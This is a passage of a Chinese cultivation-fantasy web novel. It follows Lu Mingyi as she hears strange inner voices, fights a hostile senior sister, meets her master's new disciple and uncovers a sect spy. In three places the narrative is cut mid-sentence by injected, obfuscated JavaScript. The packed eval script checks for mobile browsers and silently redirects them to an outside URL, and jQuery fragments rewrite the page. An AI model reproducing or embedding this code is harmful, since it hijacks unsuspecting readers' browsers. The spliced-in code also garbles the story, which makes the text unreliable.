于是,她折中简洁道:“师姐这些年为家族做的事想来你们家的人都有目共睹,如今魔宗再度蠢蠢欲动,族内上下正是应当以你为核心,齐心协力的时候。师姐与她们说明,她们也当懂这个道理才对。” 说白了就是,你亲戚平时闹闹也就算了,在这个节骨眼上可别瞎搞了。 萧雨歇自然听出了鹿鸣意话中委婉的意思,她回以浅笑:“我自是知晓的,不过我们还是不聊这些无趣话题了。我家中新一年的桂花糕好了,小意不如何时与我一同回去尝尝?” 鹿鸣意其实对桂花糕不太感冒,不过萧雨歇似乎非常喜欢,在她修为倒退之前,经常喊她去萧家吃。 她张了张嘴,正想答应,却突然想起来那个已经流传开来的卦辞。 既然沈家那边都听说了,就证明这个所谓的卦辞已经在修仙界内广泛传播,即便是在西南的萧家也很有可能已经听到了消息。 萧雨歇如今在族内频频被刁难,她这么一个“与魔宗挂钩的预言之子”如果跟着萧雨歇去萧家,是否会给对方带来更多麻烦? 思绪流转一番,鹿鸣意做出决定:“谢谢师姐,但是最近修仙界内并不太平。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15019088|162176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我如今修为低微,跟着师姐怕是个拖累,不如等到天下太平,再与师姐一同品尝桂花糕。” 萧雨歇面上笑意未变,依然是那副温润柔和的模样,道:“小意说得也在理,那就等下次了。” 鹿鸣意见状,又把那个放到脑后的“小疾”给捡了回来:“说起来,我之前跟师姐回家过几次,师姐的同辈也有几人,她们可还好?” “都还好。”萧雨歇回得相当简洁,似乎是不愿再多说。 鹿鸣意也品出了这层意思,也停下了继续询问的心思。 但她又接收到了一道声音: 【是了,如果小疾还在的话,我怎会如此困顿无依?小疾是那样的天资出众,若是她还在,我又何必整日挂着笑脸去讨好别人?】 这下鹿鸣意好不容易压下去的那些疑惑又全都升了起来。 声音出现的内容显然不是随手捏造的,而她只在萧雨歇这里听到了“小疾”这个名字。 如果能找到这个“小疾”的信息,或许对这个声音的认知会有非常大的一步突破。 鹿鸣意抓住了点线索,开始飞速思索。 要说她能接触到的对萧雨歇情况最清楚的,应当也只有姜流照了。 而一想到师尊,鹿鸣意就又想撞墙了。 她不得不去面对那被她刻意忘记的,要去凌霄阁给师尊和新师妹送贺礼的事。 “小意,你且休息一阵子,师尊那边暂时不急的。”萧雨歇款款起身,“我这会儿就先回幽兰阁了,之后你有什么事直接传信我即可。” “好。师姐我送你。”鹿鸣意一咕噜从床上滚起来。 萧雨歇身上的衣服都还没换,一看就是从萧家回来后,直奔她的金霁阁了。 是以哪怕这会儿她还在为上凌霄阁烦恼,也断然不可能开口向萧雨歇求助的。 萧雨歇也只是轻飘飘看她一眼,并未阻止鹿鸣意的动作。 而等到出了金霁阁的门,鹿鸣意才发觉自己府邸门外竟然围了不少人,这些人宗服衣领上的颜色纹路各不相同,竟是各峰的人都有。 往年鹿鸣意的金霁阁一直是这般,门外总有人在晃悠,只求能和她搭上几句话。 鹿鸣意素来不讲什么亲传门徒的架子,但凡感兴趣的话题,都能说上一通。 但自从她修为跌落,这金霁阁也沉寂了下去。 彼时再见到这么多人,鹿鸣意可不觉得是自己的“好人缘”回来了。 她一眼就看到这群人眼中明晃晃的试探和敌意了。 但下一秒,随着萧雨歇从她屋里出来,那些人的视线又都收了回去。 鹿鸣意:“……” 说起来,萧雨歇才是太清宗那个真正的好人缘,不论是剑峰还是其余四峰,哪怕是主峰的一些长老,都会给她卖面子。 曾经太清宗组织过一次“最理想道侣”的匿名投票,萧雨歇以巨大优势力压容貌家世样样占优的沈鸣筝夺得第一,气得她本就对萧雨歇不怎么样的态度更加恶劣。 而彼时还是少年天才的鹿鸣意,虽然也生得一副极好的皮囊,性子却是个跳脱活络的,被人匿名评论“是道友而非道侣的第一人选”,遂只得第三。 萧雨歇仿佛忽视那些莫名多出来的人,若无其事对鹿鸣意道:“好了小意,不用再送了,你也早点回去歇着吧。” 鹿鸣意点点头同她告别,看着萧雨歇召出自己的佩剑,御剑离去,耳边响起很轻很轻的一声嗤笑: 【哼……很快你就会知道,能得人善待是多么困难的一件事了。】 是那个声音,在用萧雨歇的声音说话。 鹿鸣意揉了揉脑袋,感觉从思过崖出来之后,声音响起的频率提高了不少。 她正准备想这话和之前听到的几句之间的意思联系时,一个高挺的人影快步朝她走了过来,同时朗声道: “鹿鸣意,你若是识趣,就趁早离雨歇远一点!” 14. 第十四章 来人身姿挺拔高挑,眉目犀利,银灰色底色的衣领上绣着九卷云纹——来人是符峰的亲传门徒。 女人走到了鹿鸣意跟前,她生得高,就连鹿鸣意都比她矮上几分。 于是鹿鸣意选择掀起眼皮笑道:“王停师姐方才在说什么?符峰何日管理起剑峰门徒了?” “不必在这里跟我耍嘴皮子功夫。”比起面带笑意的鹿鸣意,王停面如沉水,唇角紧绷,“你如今这般身份,怎么好意思还和雨歇来往?她为人心善,你受她那么多照拂,难道一点感恩的心思都不曾有?若你还懂一点礼义廉耻,就趁早别在拖累她!” 王停出身华北的王家,也是大家族的嫡系,言语之间自带着一种上位者的姿态。 她与萧雨歇交情颇深,却一直看不惯鹿鸣意。 “王师姐,是我师姐让你来说的吗?”鹿鸣意一面说着,一面还煞有其事地点点头,“我还以为是王家的事情太少了,要到宗内其她峰来找事呢。正好,我刚拿了一份留影石,把王师姐方才说的话都录下来了,到时候我直接去问问师姐吧?” “你敢威胁我?!” 王停怒喝一声,一把抓住了鹿鸣意的衣领,横眉冷眼道:“你以为雨歇是真想和你来往?不过是碍于与你同为长虹剑尊的亲传门徒罢了!” 她这一动作,周围围观的人更多了,但大多都是怀着冷嘲热讽的神态,全当看一场好戏。 “王师姐,有话好好说,我这衣服是新的还没穿多久呢……”鹿鸣意直视着王停满是憎恶的眼睛,笑容反而还上扬了一点。 “巧言令色!”王停见她这幅样子,火气更大,手上用力,将鹿鸣意整洁的宗服扯得不成样子。 “王师姐,我说咱们可以好好说的。” 鹿鸣意轻轻说着,细长白皙的指节按住了王停的手腕。 转瞬之间,她看似瘦弱的手臂便爆发出了惊人的力量,将王停手腕扣紧之时,连带着将人向另一边扯动,鹿鸣意借力下蹲,将王停摔倒在地,甚至趁着对方惊讶之时,反过来攥住了对方的衣领将她按在地上。 她这一套动作行云流水速度奇快,王停的意识还没反应过来时,身上已经传来了痛感,更别提其余旁观的人了。 鹿鸣意漂亮的脸上因为姿势被蒙上一层阴影,那双明丽清亮的眼眸此时微微眯起,红唇勾起笑道: “王师姐,还是说你比较喜欢这样说话?” “你……鹿鸣意你好大的胆子!”在众目睽睽之下被一个筑基期的师妹摔倒,简直是奇耻大辱,王停脸色涨红,周身灵气暴动,想用修为来压制鹿鸣意。 但鹿鸣意丝毫不为所动。 当年魔宗圣女潜入正道发动战役,她为救沈鸣筝,只身一人潜入当时魔宗的驻扎地,对上已经是金丹期大圆满的魔宗圣女也毫不畏惧。 更逞论眼前不过金丹中期的王停? 围观的人群也被眼前的场景震到了,尤其是一直躲在人后偷偷观察一切的陈清和。 是她怂恿王停来金霁阁的,万一王停真的对鹿鸣意动手,到时候宗门内处罚下来,王停也一定不会放过她这个始作俑者! 正当场面即将一发不可收拾时,一道怯生生的声音突兀地响了起来: “请问……这里是金霁阁吗?” 鹿鸣意没有完全放下警惕,但也还是先朝着声音的方向瞥去一眼。 这下倒是看到个陌生身影。 少女身旁跟着一只雪鹤自人群中走出,她的身量算不得高,眉眼动作之间皆有些拘束,但一张白皙的小脸也称得上清秀。 但最重要的是,她穿着剑峰的金边九卷云纹宗服,说明她是剑峰峰主姜流照的亲传门徒。 她应该就是那位新来的祁师妹了。 鹿鸣意意识到这点,突然有一瞬的分神。 这就让王停逮住了机会,一阵灵气翻腾,鹿鸣意被直接掀飞了出去。 但她并没有摔到地上,而是被那只雪鹤叼住了衣领。 鹿鸣意:“……” 看来她这件衣服当真是命途多舛。 “那个……呃,我、我奉长虹剑尊之命,来找鹿鸣意师姐,去、去凌霄阁……” 少女大概是头一次见着这么多修士,说几个字的时候脸就涨红了,声音也从一开始的大变为了几不可闻。 “是我!我知道了!”鹿鸣意挂在雪鹤的喙上,扬起一个灿烂的笑冲少女打招呼,“小师妹,师尊让你来接我吗?” 鹿鸣意生得漂亮是毋庸置疑的事,不然也不会成为那个“最理想道侣匿名投票”的第三名。 方才还是冷面对王停,此时却是如此明媚,她明眸皓齿的模样,让祁映雪本就红润的面庞颜色更为鲜艳:“嗯是的。见、见过鹿师姐……” 躲在人群后的陈清和见此情形,一口牙都差点咬碎了,恨恨地盯着对新师妹乐呵呵的鹿鸣意;而原本是来威胁人却反而当众丢脸的王停,脸色更差,不顾那只雪鹤和少女在场,怒道:“鹿鸣意,你且走着瞧!” 鹿鸣意闻言只是向王停摆摆手:“王师姐,下次见咯?” 既然长虹剑尊有令,她们这些门徒自然也不敢耽搁,纷纷作鸟兽散。 少女骑上了雪鹤,雪鹤载着两人一同向剑峰峰顶的凌霄阁飞去,鹿鸣意这才同少女搭话,笑道:“方才的事,小师妹你可不要同师尊说啊?不然我可又要滚去思过崖了。” “啊!那、那是自然的!鹿师姐放心……”祁映雪耳廓一红,紧张地摆了摆手。 “别紧张小师妹,我已经听说你要来了,你叫什么呀?” “我……我名唤祁映雪。” 见鹿鸣意凑近了点,少女缩了缩脖子,声音小小的。 鹿鸣意将她的表现收入眼中,估摸着这位师妹不喜与旁人亲近,往后坐了点,给两人拉开足够的距离,又道:“我叫鹿鸣意,师尊是不是已经同你说过了?” 听到姜流照,祁映雪的反应要明显很多,她用力点了点头。 从两句话中鹿鸣意便可看出,虽然不知姜流照何日遇到的祁映雪,但师尊对少女而言已然是相当重要的人了。 鹿鸣意沉吟片刻,还想再问两句,却见穿过云层后,竟是一片连绵的雨幕。 “下雨了?”她讶异道。 祁映雪以为鹿鸣意是在问自己,就老实回答:“是。我上剑峰时,这里就……就一直在下雨。” 鹿鸣意闻言,心中诧异。 姜流照修为已至大乘期,拥有控制一方天气的能力,至少她在剑峰这近百年,剑峰峰顶的凌霄阁基本上都是晴朗天气。 这般阴雨连绵的情况实在是少见极了,更何况祁映雪说这雨一直在下。 难道是师尊有什么事? 鹿鸣意心中一紧,待雪鹤将她们送至凌霄阁前,她看到那个屹立在风雨中的身影时,更为惊讶。 即便剑峰之上风雨飘摇,但姜流照却巍然不动,那些雨水甚至都不能在她身上留 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15019089|162176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下丁点痕迹,只是蒸腾之后,余下一些雾气。 姜流照的身影在雨雾中隐现。 “师尊!” 祁映雪没觉得有什么异样,只是雪鹤一落地,她就跳了下去,撑起伞向姜流照跑去。 鹿鸣意思虑就多了。 她知道姜流照平日里没事都是在凌霄阁里的,若非要去外面练剑,去的也是剑峰山峰背面的洗剑池和练剑台。 这会儿没事跑出来“淋雨”做什么? 总不可能……是在等人吧。 鹿鸣意这么一想,动作就稍微慢了点,她修为不过筑基,自然挡不住这雨水,衣服上被细细密密的雨滴沾湿,寒气如体,让她忍不住打了个冷颤。 从雪鹤身上跳下,鹿鸣意也准备从储物戒指中取出伞,却突然感觉头顶洒下一片阴影。 她抬眸看去,居然是那只雪鹤扬起了翅膀遮在了她头顶上,为她挡去了风雨。 仔细一看,这只雪鹤毛发极顺极柔,软软的贴在身上,头顶那一点红又极为艳丽,一看就不是凡品。 “……谢谢啊。”鹿鸣意眨眨眼,不知姜流照何时养了这只灵宠,先答谢一声。 雪鹤没理她,鹿鸣意估摸着对方可能还没开灵智,遂向那头候着的姜流照行了个礼:“徒儿见过师尊。” 师尊看起来暂时没有让祁映雪讲礼的打算,但入宗百年的鹿鸣意必须行礼。 “你在思过崖一月,身体可有什么何不适的?” 姜流照的声音一如既往淡漠,深邃的眼眸扫过来,自带着一份压力。 那真是是哪哪儿都不舒服。 鹿鸣意在心中默默说着,姜流照哪能不知道筑基三层去思过崖待一个月是什么后果,这会儿无非是想看她的“反思检讨”罢了。 她面上不显,只道:“徒儿受罚,就算有哪儿不舒服也是应当的。” “既然无碍,就进来吧,有事与你说。” 姜流照的衣袍轻轻摆动,鹿鸣意起身时,已经不见对方和祁映雪的身影。 鹿鸣意捶了捶自己方才因为与王停打斗而有些酸软的腿,又想:人真是改不了喜新厌旧的习性,连她师尊这种冰清玉洁的人也不能免俗…… 一个月前,她来凌霄阁时,她师尊还会为她御风省力,如今有了小师妹,她就要靠自己这可怜的双腿了! 鹿鸣意摇摇头,迈着步子朝凌霄阁走去,却见那只雪鹤竟一直跟着她为她展翅挡雨。 “谢谢你,但是这会儿不用了。”鹿鸣意冲雪鹤摇摇手。 雪鹤那墨色的眼睛只是静静注视着她,却没有离开的意思。 鹿鸣意:“……?” 鹿鸣意:“这位好心人……哦不,好心鸟,我下次再来凌霄阁,会给你带谢礼的。你喜欢吃什么?鱼干可以吗?” 雪鹤淡淡瞥她一眼,鹿鸣意总觉得对方这神态似曾相识,只当它不满意,又默默伸出手抚摸那雪白的羽毛。 如她所想,这仙鹤的羽毛相当柔软蓬松,摸起来手感相当好:“吃的不行的话,那……我帮你洗一下毛?你一般在哪儿沐浴?” 雪鹤的翅膀突然拂过鹿鸣意的头顶,将她束得整齐的头发都翘起来了几根,像是轻轻的抚摸,又像是一时气恼,只留给鹿鸣意一个高傲的背影。 鹿鸣意:“?” 她师尊到底什么时候养了这样一只鸟? 这么难伺候! 而剑峰峰顶的雨,不知在何时已经停了。 15. 第十五章 进了凌霄阁内,有姜流照的本命灵火照耀,门外那些雨水的寒气立刻消失无影。 如之前所来的那样,姜流照端坐在正殿深处的高台之上。 只不过这次,那高台的旁边,多了个瘦小的年轻身影。 鹿鸣意视线轻轻扫过,又收敛回来,慢步走到姜流照跟前,再度行礼问:“师尊有何事?” 姜流照却是先对祁映雪道:“先前已经同你说过了,这是你的三师姐,鹿鸣意。” “嗯……嗯!我知道的,鹿师姐、人很好……”祁映雪点点头,不知是在姜流照面前,还是因为在谈论鹿鸣意,她有些紧张,脸上又染了点红,飞快看鹿鸣意一眼又不再看。 鹿鸣意跟着开口:“我也知道小师妹了,祁映雪祁师妹对吧?” “嗯嗯!”祁映雪用力点点头,比起鹿鸣意的随性,她倒是更显紧张了。 姜流照先是瞥了一眼自己这个新门徒,而后望向鹿鸣意:“映雪出身江陵,与你出身相近,她的金水双灵根与你也算相适。我近日大抵没有时间指导她,便交由你来教授映雪修炼之术与赤霄剑法。” “我?” 在反应过来姜流照要将赤霄剑法传授给祁映雪之前,鹿鸣意先意外的是师尊居然让她来教小师妹。 就她现在这样,师尊不怕耽误人啊? “你可有不愿?”姜流照问。 “啊没有没有……” 鹿鸣意余光里的祁映雪还红着一张脸,她担心自己万一拒绝,这位害羞胆小的师妹自此就要对她留下阴影了。 “那今后每三日,听玉会去金霁阁接你。”听玉便是那只雪鹤的名字,姜流照拍板此事。 鹿鸣意这才后知后觉地意识到,在师尊决定将赤霄剑法传授给祁映雪之时,就相当于在告知自己,眼前这位小师妹会是日后剑峰的继承人。 她一时有点说不上心里是什么滋味,偏偏这时候耳畔那个声音又用姜流照的声线说道: 【映雪性子单纯良善,与你一起也不用太担心受到影响。】 小师妹这看起来性子确实软,但什么叫“不担心受到影响”? 难不成她这修为突然跌落的毛病还会传染不成? 鹿鸣意郁闷之余不由得想到,这个声音目前为止似乎也没出什么差错,一个月前她在姜流照这儿听到对方要去找新门徒,结果一个月后还真领了个新人回来。 坐在高位上的姜流照静静垂眸注视着她,殿内静默片刻,她侧目对祁映雪道:“映雪,你且先下去,我有些事需要单独与你三师姐说。” “是。” 太清宗的宗规是,修为在金丹期之上的门徒可以自行买地修建府邸,金丹期之下的门徒依照外门、内门和亲传三等分住宅区域。 其中亲传门徒多是住在各峰峰主的主殿旁的侧殿,过去的鹿鸣意也是如此,因此她光是看到祁映雪退下的方向就知道,对方如今当是住在凌霄阁的。 待到祁映雪退出大殿内,姜流照用灵力召来一张软垫,淡声说:“先坐吧。” 这个场景,一如从前她们师徒二人在凌霄阁会面,但却又有什么发生了变化。 鹿鸣意甫一坐下,便听姜流照灵气传音道:“近来宗门内事情颇多,怠慢了沈家主,日后本尊必定亲自前往丹峰拜访。” 以姜流照大乘期的修为,必然一开始就觉察到了术一的存在,因此这句话是说给殿门外的术一听的。 随后她才自高台之上,微微俯视着坐在下面的鹿鸣意:“既然已经见过了沈家主,想来你也已经知晓了那道预言,你对此有何想法?” 这个问题方才已经在沈翩尘那儿说过一遍了,是以鹿鸣意说起来也是极为顺畅。 总之这一切必然和魔宗脱不开干系,尤其沈翩尘说出了宗主卜卦的原本卦辞,其中根本没有说所谓“预言之子会和魔宗挂钩”。 鹿鸣意甚至想,倘若预言当真可信、五色石也当真存在,这个预言的意思为什么不能是预言之子获得五色石然后消灭魔宗,还天下一个太平呢? 姜流照在听完她的想法后,只是微微阖眸,斩钉截铁道:“你并不信那份卦辞。” 鹿鸣意不由得哽住,心说这种晦气的预言谁能信啊! 但这做出预言的是宗主,宗主是她师尊的师姐,鹿鸣意慎重考虑着如果承认自己不信,是否属于对宗主不敬。 最后,面对姜流照她还是诚实道:“修仙本就是逆天而行,徒儿只信事在人为。” 鹿鸣意说这话时,直面着姜流照的目光,身居高位者那双如泼墨般沉静的眼眸此时清晰地映着她的身影。 下一秒,姜流照长睫翩跹,敛去眸中神采,声调仿佛亘古不变般清冽、平静:“我记得你入宗那日,同我说你修道是愿‘诛灭魔宗,扬名天下’。” “是。”鹿鸣意点头应答,又有些意外姜流照竟然记得她当时的一句话。 她这会儿又有点莫名的紧张,大抵是刚在沈鸣筝那儿碰了一鼻子灰,这会儿竟然也担心姜流照认为她会贪恋所谓“预言之子”的名声。 但姜流照似乎只是想起了这件往事,没有继续这个话题,微微颔首道:“对于卦辞之事,宗门内会处理流言,你暂且不必担忧。” 说完,她停顿一瞬,又道:“对于收映雪为徒一事,因收徒大典时间紧迫,我告知天下时你正在思过崖。是以今日,我让映雪带着听玉去寻你,算是当面同你说明。” “是,多谢师尊。” 鹿鸣意实在没想到姜流照居然还向自己解释收徒一事,顿感受宠若惊。 但随即她又疑惑心道,往日她面对师尊何曾这般拘束过? 【道心再坚定的人,面对它们的诱惑也会失去本心。小鹿,如此年轻的你,又是否真的能毫不动摇?】 还来不及意外欣喜于听到曾经的称呼,鹿鸣意就因后半句话陷入了新的疑惑中。 “小鹿”是她刚入宗那段时间姜流照对她的称呼,可能是随着年岁渐长,姜流照基本没再这么唤过她。 但重点是,何来诱惑,何来动摇? 鹿鸣意眉间轻轻隆起,她在姜流照这儿听到的大多是语焉不详的话,和其她人形成了鲜明对比。 她越想越觉得离奇,不知道这个声音到底是什么来历,给她听到这些又有什么目的。 但鹿鸣意想,她要尽快、立刻知晓声音的内容是否可信,否则一直疑神疑鬼,发疯大概是迟早的事。 “你可还有别的事想问?”端坐在高台之上的姜流照再度发话。 鹿鸣意稳住心绪和声线,将呼吸调整至平稳,她试探道:“师尊……师姐这段时间又在忙碌萧家的家族事务了,她家族中难道没有可以帮忙的同辈吗?” “萧家这一辈,唯雨歇最为出众,旁人只可论平庸。”姜流照一如往常,如实回答。 鹿鸣意抿了抿唇,想到接下来即将得到的答案,心跳也不由得加快些许:“我看师姐为家族之事分心许多,又恼自己如今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15019090|162176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 帮不了什么,所以就想……或许师姐也有一两个至交可以帮忙?” 听到鹿鸣意的话,姜流照眼睫轻颤,放置在桌上的手指微微收拢,静默片刻才道: “世家之事,一般不喜旁人插手。”她说完,似乎想起了什么一般,缓声说,“雨歇的另一支母族是西南谢家,其中一人与她一同入宗,同样天资卓越拜入兽峰散华真人作亲传门徒。只不过,那位门徒先天有缺憾,早已离世了。” “如今雨歇愿意让旁人插手家族事务的,怕是不多。” 就是这个人! 得知了关键线索,鹿鸣意心中重重一跳,随即如坠深渊。 倘若真的有这么个人,那不反而证明了那道声音说得是对的? 那她这些时日来听到的…… “鹿鸣意。” 鹿鸣意正恍惚之际,突然听到姜流照唤了她的名字。 循着声音望去,高台上的师尊正眼神锋利地凝望着她,那素来看不清情绪、深不见底的眼中此刻竟可以看出一两分隐隐的关切: “你可有什么事要同我说?” 鹿鸣意动了动唇,思绪百转千回,话已经涌到了嘴边。 她想向姜流照倾诉自己的忧虑,说自己听到了好多熟悉的人的声音,但那些声音中有太多的恶意。 她还想问姜流照认为自己会因什么而动摇,又是否……真的觉得自己是道心不定、易受蛊惑之人? 然而,却见姜流照放置在桌上的身份牌微微一闪,是有新的传信过来。 姜流照眉头微蹙,似乎不满突如其来的讯息,但也是先接收了传信,接着鹿鸣意便见大殿一角的传送阵亮起,一柄通体银白的长剑便出现在了阵中。 在那柄剑传送过来之时,鹿鸣意便可感觉到背上的故里正在微微颤动——这表明两柄剑有渊源。 想来,那柄剑应当同样是用罕见的流云星铁锻造的。 至于这柄剑是给谁的,毋庸置疑,当属于长虹剑尊的新门徒祁映雪。 鹿鸣意的那些话就都落回了肚子里。 她想,现在师尊正是忙碌的时候,自己这点虚无缥缈、没有定数的事暂时也没有必要去扰姜流照烦心。 “禀师尊,徒儿没有旁的事了。” 鹿鸣意行礼后,便要退下。 姜流照的如远山般的长眉蹙得更紧了点,轻轻吐出一口气,对鹿鸣意摆摆手便是同意她退下了。 即便心中想要云淡风轻,但走出凌霄阁的步伐却异常沉重,待鹿鸣意关上大殿门时,她再也忍耐不住丹田中的疼痛,皱紧了眉头,咬牙忍住呕血的感觉。 仿佛映衬她此时的心境般,进去前刚好雨停的天气,此时竟又下起了雨。 雨势甚至比方才更大一些。 鹿鸣意取出一枚疗养丹咽下,没管自己的身体,想得却是赶紧去藏书阁一楼看看太清宗门徒名册,找到那名姓谢的兽峰亲传门徒。 她要尽快得到答案。 鹿鸣意正要冲入雨幕中,却见一个翩跹的身影落在了她面前——赫然是雪鹤听玉。 听玉大抵是一只修为极高的灵兽,已经能够控制周身的气候,它张开双翼,便为鹿鸣意挡去了所有的风雨。 “谢谢你……”鹿鸣意虚弱笑笑,也张开双臂轻轻环住听玉细长的脖颈,柔软的羽毛贴着皮肤,好似也能抚平那些积压在心中的烦恼。 听玉没有动,而是将翅膀张得更开了一些,不让鹿鸣意沾上一丁点寒气。 16. 第十六章 听玉把她送到藏书阁后,没有立刻走,鹿鸣意以为它是想要自己之前说的“报答”:“你要等我一会儿?那我我找完书就去给你抓鱼,还是你要我帮你洗一下毛?” 这只漂亮的仙鹤默默注视了她片刻,随后扬起脖子,展翅飞走。 鹿鸣意站在原地,竟觉得自己从一只鸟的眼睛里品出了名为“无语”的情绪。 她笑着摇摇头,觉得自己最近有点草木皆兵了。 进了藏书阁后,鹿鸣意直奔一楼的“太清宗概况”区域,翻出那本《太清宗名录》。 太清宗收录门徒的要求极为严苛,不管是宗门内的长老还是入宗的门徒,都会有严格的身份信息记录,各峰峰主的亲传门徒的信息更为详细。 很快,她就在兽峰的名录中找到了一个名字——谢释疾。 出身西南的谢家、名字中带有一个“疾”字、天资出众与萧雨歇是同一批入宗成为亲传门徒、多年前便离世…… “啪”的一声,鹿鸣意合上了名录。 或许,只是个巧合呢?师姐说的“疾”也不一定就是这个疾…… 她原来还能挂在唇角的笑彻底敛去,捏着书脊的指尖用力到发白。 但事态被这样摆在眼前,她已经没有时间去逃避问题。 在一切怪象都得到解答之时,鹿鸣意首先想的是必须要赶快去凌霄阁一趟。 那些声音不是空穴来风。 今天她才在姬绪云那里听到了声音,指向对方就是刻意传播出宗主预言的人——姬绪云就是那个来自魔宗的卧底! 以姬绪云不过内门首席的身份,近期是不可能接触到宗主的,这就说明太清宗内还有更多魔宗的卧底,并且位置更高。 如此强盛的太清宗竟然早就被渗透了。 鹿鸣意转身就加快脚步走出藏书阁,然而在视线触及到残阳似血的景象时,她心头又闪过了一个念头: 原来姬师妹是魔宗的人,原来这几年她一直在和魔宗之人推心置腹,甚至与对方一同回到江夏祭拜娘亲们…… 鹿鸣意垂眸看向自己的双手。 这双手,也不知与姬绪云交握了多少次。 秘境之中险象环生,她又有多少次将后背交付给对方。 还有那么多人的声音…… 巨大且赤红的太阳与缥缈的云雾映成这天地的颜色,从藏书阁出来正是一块宽阔至极的平台。 然而这天地茫茫,鹿鸣意竟是有一瞬的大脑空白,不知自己到底该走向哪里。 鹿鸣意又小声地吸了几口气,将那些杂念都压了下去。 不论其她如何,姬绪云这个线索都必须尽快报告给姜流照。 但就在鹿鸣意拿出身份牌准备向姜流照传讯之时,她突然感觉后背猛地传来一阵巨大的推力,连带着炸裂开来的痛感,短暂失去一瞬的意识后,她发觉自己坠入了藏书阁旁的太清渊中。 冰冷的湖水刺激在身上,牵动了此前在思过崖累积成的寒疾,顷刻间鹿鸣意就感觉丹田内传来一阵强烈的疼痛。 后背烧灼般的痛楚在湖水中也无法忽视,她反应过来自己这是被人偷袭了。 在岸边,隐隐可以看到几个人的身影,即便很远,但还是可以看见王停那极为高挺的身影,以及她脸上毫不掩饰地带着恶意的嘲弄。 “鹿师妹下午的时候不是还很神气吗,怎么这会儿这么狼狈掉进太清渊里了?”王停阴阳怪气与身边人道。 “下午那纯粹是王师姐给她面子,谁知道她这么不识好歹!一直扒在沈家身上,还真以为自己是沈家人不成?”有一人附和说。 “少拿沈家压我!鹿鸣意和沈家有什么关系?沈家主亲自拜访曜冶真人,因为沈家人都在丹峰门下!有谁在剑峰?”王停不屑撇嘴,又几近恶毒地说,“鹿师妹,你可要早点上来啊!兽峰前段时间可是刚捕获了一只千年黑蛟,就压在这太清渊下呢,你可别扰了人家休息!” 鹿鸣意听着岸上几人的哄笑声,任由湖水带着自己飘了一阵。 太清渊名“渊”,是因为这湖水极深。其中确实有不少凶悍的灵兽,但大多都已经被兽峰驯服,极少数没有驯化的,也都用阵法进行了压制。 王停刻意说起黑蛟的事,不过是为了吓唬她,想看她惊慌失措的样子。 鹿鸣意的发带方才也被震断了,此时长发随着水流散开来,还有几缕沾在了脸上。 就这么飘在湖面上,但她脸上没有丝毫慌乱,甚至看起来还有点闲适自得。夕阳的光辉照耀在湖面,映射出粼粼波光,笼罩在鹿鸣意身上,给她蒙上了一层宁静而神圣的氛围。 在岸上的王停垂眸看着湖水中的人,脑袋里飞快闪过一个念头:陈清和这人脾气阴森,看人的审美眼光倒是还不错。 但眨眼间,漂浮在湖面上的人消失不见,只留下了一道绚烂的虹光。 “鹿……”王停面色一变,下意识地抬脚想凑近点去找鹿鸣意的身影。 可紧接着,一道刺耳的破空声传来,王停心道不好,她耳边跟着响起了两声惨叫: “啊!”“哎呦!” 两道黑影闪过,王停的两个跟班已经被扔到了太清渊中。 王停心中大惊,她自己是金丹中期不说,这两个跟班也已经到了筑基期巅峰,她们竟然都无法抗衡鹿鸣意如今一个筑基期三层的招数? 她丹田内的灵气已经飞速运转起来,修为带来的威压隐隐形成了一道防护,想着不管鹿鸣意是何招式,自己毕竟比她高了一个大境界,用灵气护身也足以让她近不了身,等她拿出了符箓…… 然而,王停甚至都还没来得及在储物戒指中储物,便感觉腰上传来一阵剧痛,下一秒她失去了身体的重心,眼睁睁看着自己腾空,接着落入水中。 鹿鸣意翩然落地,手中的故里都不曾出鞘,周身升腾着赤金色的灵光,在空中划过一道优美的弧线。 ——赤霄剑法第一式,赤霞凌云。 闻名天下的赤霄剑法是姜流照的自创剑技。 这套剑法姜流照使起来是肃杀果敢,鹿鸣意在动用时,却总是多了几分灵动随性的味道。 而在使用出赤霄剑法第一式后,鹿鸣意可以感觉到自己的丹田正在急速的枯萎。 从出思过崖起就一直隐隐作痛的丹田终于向她汇报了“后果”——她的修为从筑基三层跌落到了练气期大圆满,直接跌下了一个大境界。 方才使用剑技的右手正隐隐发颤,鹿鸣意重新将故里背起,淡淡瞥了一眼在太清渊中的三个人:“王师姐,太清渊水质不错,别只有我一个人体验了。” “你……鹿鸣意!” 看着鹿鸣意远去的身影,王停目眦欲裂。 她一个符修,本身身体素质就只能算一般,哪怕鹿鸣意根本没使出赤霄剑法十分之一的威力,甚至连剑都没出鞘,但剑身拍在她腰上的疼痛也足以让她使不上什么力气,现在能浮在湖面上已经是尽力而为了。 鹿鸣意不想再浪费时间。 